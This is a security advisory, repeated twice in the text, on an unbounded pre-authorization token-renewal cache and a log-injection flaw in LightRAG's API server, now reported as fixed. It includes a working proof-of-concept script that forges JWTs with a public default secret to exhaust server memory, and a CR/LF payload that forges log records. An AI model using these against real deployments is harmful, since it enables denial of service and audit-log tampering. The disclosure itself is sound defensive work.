Summary
The token auto-renewal path keeps a process-wide dictionary, _token_renewal_cache, keyed on the JWT sub claim, with no size cap and no eviction. An entry is written before any authorization decision, so requests that are ultimately rejected with HTTP 403 still grow the dictionary permanently. In the API-key-only profile (LIGHTRAG_API_KEY set, AUTH_ACCOUNTS unset) the JWT signing secret falls back to the public constant DEFAULT_TOKEN_SECRET, so an unauthenticated attacker can mint signature-valid tokens with an arbitrary sub of up to roughly 32 KB each. A new sub per request inserts a new entry every time.
The same unchecked sub is written unsanitized into an INFO log line on every renewal. Because sub may contain CR/LF, each unauthenticated rejected request can also inject forged log records.
Demonstrated impact: 200 unauthenticated requests, every one rejected with 403, permanently retain 6.10 MiB of server memory and can inject attacker-chosen log lines indistinguishable from genuine ones.
Severity / CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Score: 7.5 (High). Unauthenticated, low complexity, no user interaction, availability impact only.
The log-injection secondary maps to CWE-117 and is reported here as part of the same defect rather than as a separate issue.
Affected component
This defect is FIXED in 1.5.5, released 2026-07-31. Line numbers below describe the vulnerable code as it stood at v1.5.5rc1, the last affected release, and at commit 3fb91168 on origin/main, because the two differ. See the Fix section for what 1.5.5 changed.
_token_renewal_cache declaration (no cap, no eviction): lightrag/api/utils_api.py:29 at v1.5.5rc1, :63 at 3fb91168
- the auto-renewal block inside
get_combined_auth_dependency.combined_dependency, which runs before the authorization decision: lightrag/api/utils_api.py:136-212 at v1.5.5rc1, :229-310 at 3fb91168
- the
_RENEWAL_MIN_INTERVAL rate-limiting check, keyed on the attacker-controlled sub: lightrag/api/utils_api.py:176-208 at v1.5.5rc1, :265-282 at 3fb91168
logger.info(f"Token auto-renewed for user {username} ..."), unsanitized: lightrag/api/utils_api.py:198-201 at v1.5.5rc1, :285-288 at 3fb91168
- fallback to
DEFAULT_TOKEN_SECRET when AUTH_ACCOUNTS is unset: lightrag/api/auth.py:34 at v1.5.5rc1, :51 at 3fb91168
TOKEN_AUTO_RENEW defaults to True: lightrag/api/config.py:651 at v1.5.5rc1, :767 at 3fb91168
At v1.5.5rc1 the file's own step comments confirm the ordering: # 1. Check if path is in whitelist at line 128, # 2. Validate token first at 136, the rate-limiting block containing the cache write opening at 176 and closing at 208, the cache write itself at 195, # 4. Validate API key at 247, and return # API key validation successful at 253. The pre-authorization write executes 58 lines before the API-key authority.
Tested at commit 3fb91168 on origin/main, api version 0324, and verified present at v1.5.5rc1 (published 2026-07-13), where the renewal block, the uncapped dict and the unsanitized log line were all intact. 1.5.5 was released on 2026-07-31 and fixes all three. Earlier verifications at f2971405 and e3bbeb2 are byte-identical for these three files.
Affected range: pip package lightrag-hku, >= 1.4.9.11, < 1.5.5. Fixed in 1.5.5.
First affected release: 1.4.9.11 (PyPI upload 2026-01-15). The preceding release 1.4.9.10 (2025-12-23) has zero matches for /renew|Renew/ in lightrag/api/utils_api.py and no TOKEN_AUTO_RENEW in lightrag/api/config.py, so the config flag, the cache and the unsanitized log line all land as one unit in 1.4.9.11, and both CWEs share that single introduction point. At v1.4.9.11 the evidence is lightrag/api/utils_api.py:28 (declaration), :29 (_RENEWAL_MIN_INTERVAL), :184 (pre-authorization write) and :187-190 (log line), with the pre-authorization ordering already present: # 2. Validate token first at 125, # 4. Validate API key at 225, and return # API key validation successful at 231.
Root cause
Two facts combine.
-
The premise is a known, still-unpatched weakness, cited here rather than re-reported. GHSA-f4vv-55c2-5789 (high, patched_versions: null, vulnerable <= 1.4.15) publishes that when LIGHTRAG_API_KEY is set and AUTH_ACCOUNTS is unset, an attacker can mint a valid guest JWT offline using the hardcoded secret, and that the CVE-2026-30762 fix only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable. That published weakness is the attacker's oracle for arbitrary sub values. It is still present at 3fb91168: AuthHandler.__init__ assigns the public constant DEFAULT_TOKEN_SECRET = "lightrag-jwt-default-secret-key!" (lightrag/api/config.py:64 at 3fb91168) when AUTH_ACCOUNTS is unset (lightrag/api/auth.py:34 at v1.5.5rc1, :51 at 3fb91168), and raises for a missing TOKEN_SECRET only when AUTH_ACCOUNTS is set, which is why the profile boundary matters. Nothing new is claimed about the secret. The new defect is what the server then does with the sub value that oracle produces.
-
The renewal cache write happens pre-authorization and is unbounded. The auto-renewal block is step 2 of the combined dependency; the API-key check is step 4. When the presented token is near expiry it executes _token_renewal_cache[username] = current_time, where username is the raw sub claim, on a module-level dict with no size cap and no eviction. Every rejected request leaves a permanent entry whose key is up to ~32 KB of attacker-chosen bytes.
The defect defeats an existing, labeled control. The block is headed # ========== Token Renewal Rate Limiting ========== and enforces _RENEWAL_MIN_INTERVAL = 60 seconds between renewals "for same user", keyed solely on sub. A new forged sub per request makes last_renewal always 0, so the interval check passes on 100% of requests and the limiter is defeated while still growing the dictionary.
The sibling LoginRateLimiter (lightrag/api/login_rate_limit.py:46 on origin/main at 3fb91168, which had not shipped in any release up to and including v1.5.5rc1) caps tracked keys at DEFAULT_MAX_TRACKED_KEYS = 10_000, refuses to evict live records, and documents the exact attack: "otherwise an attacker could clear a lockout by flooding unique keys." Its docstring cross-references the token-renewal cache, which has no equivalent bound. The renewal cache is the analogous structure on the same request path, missing the guard its sibling carries. The point is that the project's own in-progress work already recognized this hazard for the sibling structure. It was not a claim that a release shipped the guard, and 1.5.5 has since bounded the renewal cache directly.
Impact
- Unauthenticated memory exhaustion. Measured against a real uvicorn server over raw sockets: 200 requests, all answered 403 Forbidden, retained 6,400,490 bytes (6.10 MiB) in 0.1 s, about 32 KB per request. Growth is permanent: nothing evicts, nothing caps, and entries survive until process restart. Projected retention at a sustained 100 req/s is about 183 MiB/min. A single attacker can take down the API process and, on a container with a memory limit, trigger OOM kills and restart loops.
- Log injection and log/disk exhaustion (CWE-117). The renewal log line interpolates the raw
sub. A sub containing CR/LF injects forged log records: "alice\nCRITICAL:lightrag: SECURITY AUDIT PASSED - admin login from 10.0.0.1\nbob" produces a fabricated CRITICAL:lightrag: entry indistinguishable from a genuine one. Combined with the 32 KB per-request ceiling this is also unauthenticated log/disk exhaustion. This is a guard missing from one path, not absent hardening: origin/main at 3fb91168 adds safe_log_value in lightrag/utils.py:382, whose docstring names log injection via CR/LF as the exact hazard, and applies it to the rate-limit log in login_rate_limit.py:197 and the audit logs in document_routes.py. Neither safe_log_value nor login_rate_limit.py had shipped as of v1.5.5rc1, so there the renewal log line is unsanitized and no equivalent helper exists to call. 1.5.5 ships safe_log_value and applies it here. The renewal log line on the same request path interpolates the attacker-controlled value raw.
The attack works in the fully-open default profile as well, but crosses no boundary there. The honest boundary is the API-key-only profile, which is a documented, recommended configuration: env.example instructs operators to set at least one of AUTH_ACCOUNTS / LIGHTRAG_API_KEY. The attacker holds no credential, is correctly rejected on every request, and still consumes unbounded server memory and log integrity. The limitation is stated plainly: the profile this attack needs is one whose authentication is already publicly bypassable per GHSA-f4vv-55c2-5789, so anyone able to reach this path can also already bypass X-API-Key. What is added here is that the same forged token writes permanent server-side state on a request the server rejects, on a code path no published advisory covers and no released fix closes.
Proof of Concept
Environment: LIGHTRAG_API_KEY set, AUTH_ACCOUNTS unset, WHITELIST_PATHS=/health so the result does not depend on the Ollama /api/* exemption. Real get_combined_auth_dependency mounted on a route, served by real uvicorn, driven over raw sockets. Tokens forged with the public DEFAULT_TOKEN_SECRET.
The sys.path.insert below points at a local checkout of origin/main at 3fb91168, so these numbers were produced against unreleased main, not against a released version. The result carries over to v1.5.5rc1, where the renewal block, the cache write, the log line and the step ordering are the same. No released version was load-tested.
"""Unauthenticated requests, all rejected with 403, permanently grow the
server-side _token_renewal_cache. Real uvicorn over raw sockets."""
import os, sys, threading, time, socket, logging
os.environ.pop("AUTH_ACCOUNTS", None); os.environ.pop("TOKEN_SECRET", None)
os.environ["LIGHTRAG_API_KEY"] = "the-operators-secret-api-key"
os.environ["WHITELIST_PATHS"] = "/health"
sys.path.insert(0, os.path.abspath("repo"))
logging.disable(logging.CRITICAL)
from datetime import datetime, timedelta, timezone
import jwt, uvicorn
from lightrag.api.config import DEFAULT_TOKEN_SECRET
from lightrag.api import utils_api
from lightrag.api.utils_api import get_combined_auth_dependency
from fastapi import FastAPI, Depends
app = FastAPI()
dep = get_combined_auth_dependency("the-operators-secret-api-key")
@app.get("/documents", dependencies=[Depends(dep)])
async def documents(): return {"secret": "ALL DOCUMENTS"}
cfg = uvicorn.Config(app, host="127.0.0.1", port=8791, log_level="critical")
srv = uvicorn.Server(cfg); threading.Thread(target=srv.run, daemon=True).start(); time.sleep(2.5)
def forge(u):
return jwt.encode({"sub": u, "exp": datetime.now(timezone.utc)+timedelta(hours=1),
"role": "guest", "metadata": {}}, DEFAULT_TOKEN_SECRET, algorithm="HS256")
def send(tok):
s = socket.create_connection(("127.0.0.1", 8791), timeout=10)
s.sendall(f"GET /documents HTTP/1.1\r\nHost: x\r\nAuthorization: Bearer {tok}\r\nConnection: close\r\n\r\n".encode())
d=b""
while True:
try: b=s.recv(65536)
except Exception: break
if not b: break
d+=b
s.close()
return d.split(b"\r\n",1)[0].decode() if d else "NO RESPONSE"
for size in (1_000, 4_000, 8_000, 16_000, 32_000, 100_000):
st = send(forge("B"*size))
print(f"sub={size:>7} bytes -> {st}")
utils_api._token_renewal_cache.clear()
N, SIZE = 200, 32_000
t0=time.time()
codes=set()
for i in range(N):
codes.add(send(forge("C"*SIZE + str(i))))
dt=time.time()-t0
held = sum(len(k) for k in utils_api._token_renewal_cache)
print(f"\n{N} unauthenticated requests, statuses={codes}")
print(f"cache entries: {len(utils_api._token_renewal_cache)}")
print(f"attacker-controlled bytes retained: {held:,} ({held/1024/1024:.2f} MiB) in {dt:.1f}s")
print(f"projected retention at 100 req/s: {held/N*100/1024/1024*60:.0f} MiB/min")
srv.should_exit=True
Output:
sub= 1000 bytes -> HTTP/1.1 403 Forbidden
sub= 4000 bytes -> HTTP/1.1 403 Forbidden
sub= 8000 bytes -> HTTP/1.1 403 Forbidden
sub= 16000 bytes -> HTTP/1.1 403 Forbidden
sub= 32000 bytes -> HTTP/1.1 403 Forbidden
sub= 100000 bytes -> HTTP/1.1 400 Bad Request
200 unauthenticated requests, statuses={'HTTP/1.1 403 Forbidden'}
cache entries: 200
attacker-controlled bytes retained: 6,400,490 (6.10 MiB) in 0.1s
projected retention at 100 req/s: 183 MiB/min
Log-injection secondary, captured from the server's own logger on a single unauthenticated request that was rejected with 403:
INFO:Token auto-renewed for user alice
CRITICAL:lightrag: SECURITY AUDIT PASSED - admin login from 10.0.0.1
bob (role: guest, remaining: 3599s)
The middle line is attacker-forged.
Fix
Fixed in 1.5.5 (released 2026-07-31), and the fix addresses all three aspects rather than only the
memory growth. Verified at tag v1.5.5 in lightrag/api/utils_api.py (blob 7ff6d3a3f374, 806 lines):
- CWE-770 bounded.
_token_renewal_cache is now an OrderedDict (85) written only through
_record_token_renewal (101-125), which purges entries older than _RENEWAL_MIN_INTERVAL from
the head and then enforces _MAX_TRACKED_RENEWALS = 10_000 (87) as a hard ceiling. Insertion
order is maintained as time order, both passes are amortized O(1), and the declaration comment
explains why evicting a live entry is safe here but not in LoginRateLimiter.
- CWE-117 sanitized. Both interpolations now pass through
safe_log_value: the renewal log at
205-206 and the rate-limit skip log at 185.
- Pre-authorization write closed.
_renew_token_if_needed (128) is invoked only after the
authorization decision, at 446, 454 and 487. The comment at 432-433 records that running it
earlier let an unauthenticated caller grow the state on requests the server rejects.
The remaining hardening suggestion, rejecting or truncating over-long sub claims at validation
time, is satisfied by MAX_TOKEN_SUBJECT_LENGTH in AuthHandler.validate_token, which the
declaration comment at 74-75 names as the first of the three bounds.
References
- Fixed in 1.5.5, released 2026-07-31. Affected range: pip package
lightrag-hku, >= 1.4.9.11, < 1.5.5
- Tested at commit
3fb91168 on origin/main, api version 0324; last affected release tag v1.5.5rc1 (published 2026-07-13)
- First affected release: 1.4.9.11 (2026-01-15), evidence at
lightrag/api/utils_api.py:28, :29, :184, :187-190 at v1.4.9.11; the preceding release 1.4.9.10 (2025-12-23) has no renewal mechanism
- Vulnerable state:
lightrag/api/utils_api.py:29-30, :136-212 at v1.5.5rc1 (:63-64, :229-310 at 3fb91168)
lightrag/api/auth.py:34 at v1.5.5rc1 (:51 at 3fb91168)
lightrag/api/config.py:651 at v1.5.5rc1 (:767 at 3fb91168)
- Fix:
lightrag/api/utils_api.py:85, :87, :101-125, :185, :205-206, :432-433, :446 at v1.5.5
lightrag/api/login_rate_limit.py:46 and lightrag/utils.py:382 safe_log_value on origin/main at 3fb91168, both shipped in 1.5.5
Summary
The token auto-renewal path keeps a process-wide dictionary,
_token_renewal_cache, keyed on the JWTsubclaim, with no size cap and no eviction. An entry is written before any authorization decision, so requests that are ultimately rejected with HTTP 403 still grow the dictionary permanently. In the API-key-only profile (LIGHTRAG_API_KEYset,AUTH_ACCOUNTSunset) the JWT signing secret falls back to the public constantDEFAULT_TOKEN_SECRET, so an unauthenticated attacker can mint signature-valid tokens with an arbitrarysubof up to roughly 32 KB each. A newsubper request inserts a new entry every time.The same unchecked
subis written unsanitized into an INFO log line on every renewal. Becausesubmay contain CR/LF, each unauthenticated rejected request can also inject forged log records.Demonstrated impact: 200 unauthenticated requests, every one rejected with 403, permanently retain 6.10 MiB of server memory and can inject attacker-chosen log lines indistinguishable from genuine ones.
Severity / CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HScore: 7.5 (High). Unauthenticated, low complexity, no user interaction, availability impact only.
The log-injection secondary maps to CWE-117 and is reported here as part of the same defect rather than as a separate issue.
Affected component
This defect is FIXED in 1.5.5, released 2026-07-31. Line numbers below describe the vulnerable code as it stood at
v1.5.5rc1, the last affected release, and at commit3fb91168onorigin/main, because the two differ. See the Fix section for what 1.5.5 changed._token_renewal_cachedeclaration (no cap, no eviction):lightrag/api/utils_api.py:29atv1.5.5rc1,:63at3fb91168get_combined_auth_dependency.combined_dependency, which runs before the authorization decision:lightrag/api/utils_api.py:136-212atv1.5.5rc1,:229-310at3fb91168_RENEWAL_MIN_INTERVALrate-limiting check, keyed on the attacker-controlledsub:lightrag/api/utils_api.py:176-208atv1.5.5rc1,:265-282at3fb91168logger.info(f"Token auto-renewed for user {username} ..."), unsanitized:lightrag/api/utils_api.py:198-201atv1.5.5rc1,:285-288at3fb91168DEFAULT_TOKEN_SECRETwhenAUTH_ACCOUNTSis unset:lightrag/api/auth.py:34atv1.5.5rc1,:51at3fb91168TOKEN_AUTO_RENEWdefaults toTrue:lightrag/api/config.py:651atv1.5.5rc1,:767at3fb91168At
v1.5.5rc1the file's own step comments confirm the ordering:# 1. Check if path is in whitelistat line 128,# 2. Validate token firstat 136, the rate-limiting block containing the cache write opening at 176 and closing at 208, the cache write itself at 195,# 4. Validate API keyat 247, andreturn # API key validation successfulat 253. The pre-authorization write executes 58 lines before the API-key authority.Tested at commit
3fb91168onorigin/main, api version 0324, and verified present atv1.5.5rc1(published 2026-07-13), where the renewal block, the uncapped dict and the unsanitized log line were all intact. 1.5.5 was released on 2026-07-31 and fixes all three. Earlier verifications atf2971405ande3bbeb2are byte-identical for these three files.Affected range: pip package
lightrag-hku,>= 1.4.9.11, < 1.5.5. Fixed in 1.5.5.First affected release: 1.4.9.11 (PyPI upload 2026-01-15). The preceding release 1.4.9.10 (2025-12-23) has zero matches for
/renew|Renew/inlightrag/api/utils_api.pyand noTOKEN_AUTO_RENEWinlightrag/api/config.py, so the config flag, the cache and the unsanitized log line all land as one unit in 1.4.9.11, and both CWEs share that single introduction point. Atv1.4.9.11the evidence islightrag/api/utils_api.py:28(declaration),:29(_RENEWAL_MIN_INTERVAL),:184(pre-authorization write) and:187-190(log line), with the pre-authorization ordering already present:# 2. Validate token firstat 125,# 4. Validate API keyat 225, andreturn # API key validation successfulat 231.Root cause
Two facts combine.
The premise is a known, still-unpatched weakness, cited here rather than re-reported. GHSA-f4vv-55c2-5789 (high,
patched_versions: null, vulnerable<= 1.4.15) publishes that whenLIGHTRAG_API_KEYis set andAUTH_ACCOUNTSis unset, an attacker can mint a valid guest JWT offline using the hardcoded secret, and that the CVE-2026-30762 fix only raises whenAUTH_ACCOUNTSis set, so the API-key-only path is silently vulnerable. That published weakness is the attacker's oracle for arbitrarysubvalues. It is still present at3fb91168:AuthHandler.__init__assigns the public constantDEFAULT_TOKEN_SECRET = "lightrag-jwt-default-secret-key!"(lightrag/api/config.py:64at3fb91168) whenAUTH_ACCOUNTSis unset (lightrag/api/auth.py:34atv1.5.5rc1,:51at3fb91168), and raises for a missingTOKEN_SECRETonly whenAUTH_ACCOUNTSis set, which is why the profile boundary matters. Nothing new is claimed about the secret. The new defect is what the server then does with thesubvalue that oracle produces.The renewal cache write happens pre-authorization and is unbounded. The auto-renewal block is step 2 of the combined dependency; the API-key check is step 4. When the presented token is near expiry it executes
_token_renewal_cache[username] = current_time, whereusernameis the rawsubclaim, on a module-leveldictwith no size cap and no eviction. Every rejected request leaves a permanent entry whose key is up to ~32 KB of attacker-chosen bytes.The defect defeats an existing, labeled control. The block is headed
# ========== Token Renewal Rate Limiting ==========and enforces_RENEWAL_MIN_INTERVAL = 60seconds between renewals "for same user", keyed solely onsub. A new forgedsubper request makeslast_renewalalways 0, so the interval check passes on 100% of requests and the limiter is defeated while still growing the dictionary.The sibling
LoginRateLimiter(lightrag/api/login_rate_limit.py:46onorigin/mainat3fb91168, which had not shipped in any release up to and includingv1.5.5rc1) caps tracked keys atDEFAULT_MAX_TRACKED_KEYS = 10_000, refuses to evict live records, and documents the exact attack: "otherwise an attacker could clear a lockout by flooding unique keys." Its docstring cross-references the token-renewal cache, which has no equivalent bound. The renewal cache is the analogous structure on the same request path, missing the guard its sibling carries. The point is that the project's own in-progress work already recognized this hazard for the sibling structure. It was not a claim that a release shipped the guard, and 1.5.5 has since bounded the renewal cache directly.Impact
sub. Asubcontaining CR/LF injects forged log records:"alice\nCRITICAL:lightrag: SECURITY AUDIT PASSED - admin login from 10.0.0.1\nbob"produces a fabricatedCRITICAL:lightrag:entry indistinguishable from a genuine one. Combined with the 32 KB per-request ceiling this is also unauthenticated log/disk exhaustion. This is a guard missing from one path, not absent hardening:origin/mainat3fb91168addssafe_log_valueinlightrag/utils.py:382, whose docstring names log injection via CR/LF as the exact hazard, and applies it to the rate-limit log inlogin_rate_limit.py:197and the audit logs indocument_routes.py. Neithersafe_log_valuenorlogin_rate_limit.pyhad shipped as ofv1.5.5rc1, so there the renewal log line is unsanitized and no equivalent helper exists to call. 1.5.5 shipssafe_log_valueand applies it here. The renewal log line on the same request path interpolates the attacker-controlled value raw.The attack works in the fully-open default profile as well, but crosses no boundary there. The honest boundary is the API-key-only profile, which is a documented, recommended configuration:
env.exampleinstructs operators to set at least one ofAUTH_ACCOUNTS/LIGHTRAG_API_KEY. The attacker holds no credential, is correctly rejected on every request, and still consumes unbounded server memory and log integrity. The limitation is stated plainly: the profile this attack needs is one whose authentication is already publicly bypassable per GHSA-f4vv-55c2-5789, so anyone able to reach this path can also already bypassX-API-Key. What is added here is that the same forged token writes permanent server-side state on a request the server rejects, on a code path no published advisory covers and no released fix closes.Proof of Concept
Environment:
LIGHTRAG_API_KEYset,AUTH_ACCOUNTSunset,WHITELIST_PATHS=/healthso the result does not depend on the Ollama/api/*exemption. Realget_combined_auth_dependencymounted on a route, served by real uvicorn, driven over raw sockets. Tokens forged with the publicDEFAULT_TOKEN_SECRET.The
sys.path.insertbelow points at a local checkout oforigin/mainat3fb91168, so these numbers were produced against unreleased main, not against a released version. The result carries over tov1.5.5rc1, where the renewal block, the cache write, the log line and the step ordering are the same. No released version was load-tested.Output:
Log-injection secondary, captured from the server's own logger on a single unauthenticated request that was rejected with 403:
The middle line is attacker-forged.
Fix
Fixed in 1.5.5 (released 2026-07-31), and the fix addresses all three aspects rather than only the
memory growth. Verified at tag
v1.5.5inlightrag/api/utils_api.py(blob7ff6d3a3f374, 806 lines):_token_renewal_cacheis now anOrderedDict(85) written only through_record_token_renewal(101-125), which purges entries older than_RENEWAL_MIN_INTERVALfromthe head and then enforces
_MAX_TRACKED_RENEWALS = 10_000(87) as a hard ceiling. Insertionorder is maintained as time order, both passes are amortized O(1), and the declaration comment
explains why evicting a live entry is safe here but not in
LoginRateLimiter.safe_log_value: the renewal log at205-206 and the rate-limit skip log at 185.
_renew_token_if_needed(128) is invoked only after theauthorization decision, at 446, 454 and 487. The comment at 432-433 records that running it
earlier let an unauthenticated caller grow the state on requests the server rejects.
The remaining hardening suggestion, rejecting or truncating over-long
subclaims at validationtime, is satisfied by
MAX_TOKEN_SUBJECT_LENGTHinAuthHandler.validate_token, which thedeclaration comment at 74-75 names as the first of the three bounds.
References
lightrag-hku,>= 1.4.9.11, < 1.5.53fb91168onorigin/main, api version 0324; last affected release tagv1.5.5rc1(published 2026-07-13)lightrag/api/utils_api.py:28,:29,:184,:187-190atv1.4.9.11; the preceding release 1.4.9.10 (2025-12-23) has no renewal mechanismlightrag/api/utils_api.py:29-30,:136-212atv1.5.5rc1(:63-64,:229-310at3fb91168)lightrag/api/auth.py:34atv1.5.5rc1(:51at3fb91168)lightrag/api/config.py:651atv1.5.5rc1(:767at3fb91168)lightrag/api/utils_api.py:85,:87,:101-125,:185,:205-206,:432-433,:446atv1.5.5lightrag/api/login_rate_limit.py:46andlightrag/utils.py:382safe_log_valueonorigin/mainat3fb91168, both shipped in 1.5.5